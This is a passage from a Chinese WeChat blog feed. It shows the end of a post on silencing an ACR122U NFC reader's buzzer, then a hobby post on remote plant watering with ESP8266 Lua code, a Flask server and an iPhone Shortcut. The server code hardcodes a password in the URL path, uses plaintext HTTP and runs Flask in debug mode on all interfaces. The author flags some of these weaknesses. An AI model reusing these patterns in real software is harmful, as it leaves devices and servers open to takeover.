SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;" class="list-paddingleft-2"><li style="list-style: none;display: table-row;"><p>打开ACR122UTool.exe </p></li><li style="list-style: none;display: table-row;"><p>点击Reader Commands -&gt; New Connection </p></li><li style="list-style: none;display: table-row;"><p>点击Send Commands -&gt; Direct Command </p></li><li style="list-style: none;display: table-row;"><p>在Data in的命令框中输入：FF00520000 </p></li><li style="list-style: none;display: table-row;"><p>点击Send Direct，即操作完成，此时再放上银行卡声音已经没了。 </p></li></ol><p style="text-align: start;white-space: normal;margin-top: 1.4em;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">（另：如需恢复声音，执行FF0052FF00即可。）</span></p><p style="text-align: start;white-space: normal;margin-top: 1.4em;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">（注：以上内容可参考文档API-ACR122U-CN-2.04.pdf，上文资料里已包含。）</span></p><p style="text-align: center;"><img class="rich_pages js_darkmode__67" data-ratio="1.110958904109589" data-s="300,640" data-type="jpeg" data-w="1460" style="text-align: start;white-space: normal;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);box-sizing: border-box !important;word-wrap: break-word !important;overflow-wrap: break-word !important;visibility: visible !important;width: 264px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=030b79d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPaI42ZhicC8J0kSibBd8gyiaVO1yBacth54vQ40nfDE5jPLcjzmrmOoZI7xNWoLwzYMSiaJrNuFJ3Wxmw%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247486277">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d48d5b00&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486277%26idx%3D1%26sn%3D8d4d144e56ca64a393466e7ccabb03fc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 28 Jun 2020 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Siri终于可以帮我浇花了</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486252&amp;idx=1&amp;sn=6e9dd7a804153a331c01849ec4c63476</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>年华不散场</span> <span>2020-06-26 18:12</span> <span style="display: inline-block;"></span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8299a891&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPb3PMiayjTicy4oovibRLrwQia1Nlm7ClqDkL8ibhETKZ9qwxvgRhPgmMfcJRvbibAjrBkiaDMxcPRtvhE3w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.4583333333333333" data-s="300,640" style="" data-type="png" data-w="1392" src="https://wechat2rss.xlab.app/img-proxy/?k=904a41e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPb3PMiayjTicy4oovibRLrwQia1QSvKTIyQHKndgQfJeghXy7btX1AvxFp0sg1czSeVzicPfSv1kmibCT1w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">之前公众号刚申请的时候就写了一篇文章，是一个关于远程浇花的想法，想了很久都没去实现，最近端午放假就做了一下，程序可能有很多漏洞😄大佬们手下留情。先上视频：</span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=9f05ce13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPb3PMiayjTicy4oovibRLrwQia1XscRG057TURwVEWZ5j1ZCxh8AHrMaa6WgZe32AwFP5EibmojAnBAOPw%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=5d1a3bdf&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486252%26idx%3D1%26sn%3D6e9dd7a804153a331c01849ec4c63476%26subscene%3D0&amp;v=wxv_1401996026164428802"></video></p><p><br/><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">来看一下整个系统的接线图，主要就是ESP8266和继电器的连接。<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8583509513742071" data-s="300,640" style="" data-type="png" data-w="1892" src="https://wechat2rss.xlab.app/img-proxy/?k=f567637b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPb3PMiayjTicy4oovibRLrwQia1GT3NE9iaLiaUhQwyzp4EhntSoKgWyQgxicsKjjwfcpUjBTXMut06g30tQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">接下来看看原理图，本来想使用MQTT协议，无奈太菜只好用python起个flask，然后使用ESP的HTTP模块请求云服务监测是否有任务需要执行。<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.47568710359408034" data-s="300,640" style="" data-type="png" data-w="1892" src="https://wechat2rss.xlab.app/img-proxy/?k=a4b82662&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPb3PMiayjTicy4oovibRLrwQia1icAF0Sbpwkl5DBFneg9VD5J9VbI89dRr3V0a58YP36OvSDiamLRC7wBw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">具体的代码如下：<br/></span></p><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">ESP8266芯片</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">&lt;init.lua&gt;文件代码：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">light = <span class="code-snippet__number">4</span></span></code><code><span class="code-snippet_outer">flowerControlPin = <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">gpio.mode(light,gpio.OUTPUT)</span></code><code><span class="code-snippet_outer">gpio.mode(flowerControlPin,gpio.OUTPUT)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">--Flower Timer (close Flower control Pin)</span></code><code><span class="code-snippet_outer">FlowerTimer = tmr.create()</span></code><code><span class="code-snippet_outer">FlowerTimer:alarm(<span class="code-snippet__number">5000</span>,tmr.ALARM_SEMI,<span class="code-snippet__function"><span class="code-snippet__keyword">function</span><span class="code-snippet__params">()</span> </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">gpio</span>.<span class="code-snippet__title">write</span><span class="code-snippet__params">(light,gpio.HIGH)</span> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">gpio</span>.<span class="code-snippet__title">write</span><span class="code-snippet__params">(flowerControlPin,gpio.LOW)</span> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">print</span><span class="code-snippet__params">(<span class="code-snippet__string">&#34;stop.....&#34;</span>)</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">end</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">FlowerTimer</span>:<span class="code-snippet__title">stop</span><span class="code-snippet__params">()</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">-- <span class="code-snippet__title">main</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">function</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">dofile</span><span class="code-snippet__params">(<span class="code-snippet__string">&#34;server.lua&#34;</span>)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">end</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">wifi</span>.<span class="code-snippet__title">eventmon</span>.<span class="code-snippet__title">register</span><span class="code-snippet__params">(wifi.eventmon.STA_GOT_IP, function<span class="code-snippet__params">(AcquiredInfo)</span></span></span></code><code><span class="code-snippet_outer">------------------------------------------------------------</span></code><code><span class="code-snippet_outer">    print<span class="code-snippet__params">(<span class="code-snippet__string">&#34;\nSTA - GOT IP&#34;</span>..<span class="code-snippet__string">&#34;\nStation IP: &#34;</span>..AcquiredInfo.IP..</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;\nSubnet mask: &#34;</span>..AcquiredInfo.netmask..</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;\nGateway IP: &#34;</span>..AcquiredInfo.gateway)</span></code><code><span class="code-snippet_outer">    main<span class="code-snippet__params">()</span></span></code><code><span class="code-snippet_outer">------------------------------------------------------------</span></code><code><span class="code-snippet_outer">end)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">dofile</span><span class="code-snippet__params">(<span class="code-snippet__string">&#34;wificfg.lua&#34;</span>)</span> -- <span class="code-snippet__title">waiting</span> <span class="code-snippet__title">WiFi</span> <span class="code-snippet__title">connect</span></span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><strong style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">ESP8266芯片</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">&lt;wificfg.lua&gt;文件代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">----------------------------------</span></code><code><span class="code-snippet_outer">--[[WIFI config SSID PASSWORD]]--</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">wifi.setmode(wifi.STATION)</span></code><code><span class="code-snippet_outer">wifi.sta.config({ssid=<span class="code-snippet__string">&#34;ssid&#34;</span>,<span class="code-snippet__built_in">pwd</span>=<span class="code-snippet__string">&#34;mimamima&#34;</span>})</span></code><code><span class="code-snippet_outer">wifi.sta.connect()</span></code></pre></section><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><strong style="white-space: normal;"><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">ESP8266芯片</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">&lt;server.lua&gt;文件代码：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">----------------------------------</span></code><code><span class="code-snippet_outer">--[[ HTTP server config page  ]]--</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">joburl = <span class="code-snippet__string">&#34;<a href="http://1.1.1.1:8000/getjob" target="_blank">http://1.1.1.1:8000/getjob</a>&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">getjob</span>(<span class="code-snippet__params">code,data</span>)</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">if</span> (<span class="code-snippet__params">code &lt; <span class="code-snippet__number">0</span></span>) <span class="code-snippet__title">then</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__title">print</span>(<span class="code-snippet__params"><span class="code-snippet__string">&#34;HTTP request failed&#34;</span></span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">else</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">if</span> (<span class="code-snippet__params">data==<span class="code-snippet__string">&#34;watertheflower&#34;</span></span>) <span class="code-snippet__title">then</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__title">gpio</span>.<span class="code-snippet__title">write</span>(<span class="code-snippet__params">light,gpio.LOW</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__title">gpio</span>.<span class="code-snippet__title">write</span>(<span class="code-snippet__params">flowerControlPin,gpio.HIGH</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__title">FlowerTimer</span>:<span class="code-snippet__title">start</span>(<span class="code-snippet__params"></span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__title">print</span>(<span class="code-snippet__params"><span class="code-snippet__string">&#34;start.....&#34;</span></span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">else</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__title">print</span>(<span class="code-snippet__params">data</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__title">end</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">end</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">end</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">function</span> <span class="code-snippet__title">doJob</span>(<span class="code-snippet__params"></span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">print</span>(<span class="code-snippet__params"><span class="code-snippet__string">&#34;Hi I am runing&#34;</span></span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">http</span>.<span class="code-snippet__title">get</span>(<span class="code-snippet__params">joburl, nil, getjob</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">end</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">JobTimer</span> = <span class="code-snippet__title">tmr</span>.<span class="code-snippet__title">create</span>(<span class="code-snippet__params"></span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">JobTimer</span>:<span class="code-snippet__title">alarm</span>(<span class="code-snippet__params"><span class="code-snippet__number">2000</span>,tmr.ALARM_AUTO,doJob</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">JobTimer</span>:<span class="code-snippet__title">stop</span>(<span class="code-snippet__params"></span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">JobTimer</span>:<span class="code-snippet__title">start</span>(<span class="code-snippet__params"></span>)</span></code></pre></section><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">服务器端</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">python代码：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> flask <span class="code-snippet__keyword">import</span> Flask</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> time</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">app = Flask(__name__)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">task = <span class="code-snippet__keyword">False</span></span></code><code><span class="code-snippet_outer">lastwatertheflower = <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">authentication = <span class="code-snippet__string">&#34;asdf1234&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">setTask</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">global</span> task</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">global</span> lastwatertheflower</span></code><code><span class="code-snippet_outer">    lastwatertheflower = int(time.time())</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> task == <span class="code-snippet__keyword">False</span>:</span></code><code><span class="code-snippet_outer">        task = <span class="code-snippet__keyword">True</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">undoTask</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">global</span> task</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> task == <span class="code-snippet__keyword">True</span>:</span></code><code><span class="code-snippet_outer">        task = <span class="code-snippet__keyword">False</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@app.route(&#39;/assigntask/&lt;password&gt;&#39;)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">assigntask</span><span class="code-snippet__params">(password)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> password != authentication:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;faild&#34;</span></span></code><code><span class="code-snippet_outer">    now = int(time.time())</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> now-lastwatertheflower &gt; <span class="code-snippet__number">3600</span>:</span></code><code><span class="code-snippet_outer">        setTask()</span></code><code><span class="code-snippet_outer">        data = <span class="code-snippet__string">&#39;success&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">        data = <span class="code-snippet__string">&#34;faild&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> data</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@app.route(&#39;/getjob&#39;)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">getjob</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> task:</span></code><code><span class="code-snippet_outer">        undoTask()</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;watertheflower&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#39;nothing&#39;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#39;__main__&#39;</span>:</span></code><code><span class="code-snippet_outer">    app.run(host=<span class="code-snippet__string">&#39;0.0.0.0&#39;</span>, port=<span class="code-snippet__number">8000</span>, debug=<span class="code-snippet__keyword">True</span>)</span></code></pre></section><p><strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">iPhone</span></strong><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">快捷指令：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.6616915422885572" data-s="300,640" style="" data-type="png" data-w="804" src="https://wechat2rss.xlab.app/img-proxy/?k=f8fa48dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPb3PMiayjTicy4oovibRLrwQia14ok797KV2licXic427jGYhIl0dQvghVRZMky7PmPuKcGeD4lwEpcPiaAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.498800959232614" data-s="300,640" style="" data-type="png" data-w="834" src="https://wechat2rss.xlab.app/img-proxy/?k=85024a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPb3PMiayjTicy4oovibRLrwQia1apsUBnS2WUEynBzrfRnjlvh9pIIG5Z7YJBIbMYRtzxMu8ppqCmTq6A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"></span><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">代码总共加起来都没到200行，本来想使用AES加密一下时间戳和指令，但是无奈找不到iPhone快捷执行的JSBox怎么用😂。</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">当然也可以使用server酱的TalkAdmin来控制，直接将web地址填入<span style="color: rgb(44, 62, 80);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, STHeitiSC-Light, &#34;Microsoft YaHei&#34;, 微软雅黑, Arial, sans-serif;font-size: 15px;font-weight: 700;text-align: start;background-color: rgb(255, 255, 255);">WebHook</span>即可</span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);"><br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">仅供给大家提供一个好玩的思路，在这个远程浇花的系统中可能存在漏洞点如下：<br/></span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">1.客户端-服务器明文传输，可能导致重放攻击、密钥泄漏<br/></span></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">2.服务器-终端设备明文传输，可能导致重放攻击、任意用户控制终端设备（是说其他人可以随便给我浇花么😭）</span></p><p><br/></p><p><span style="color: rgb(0, 0, 0);font-family: Roboto, 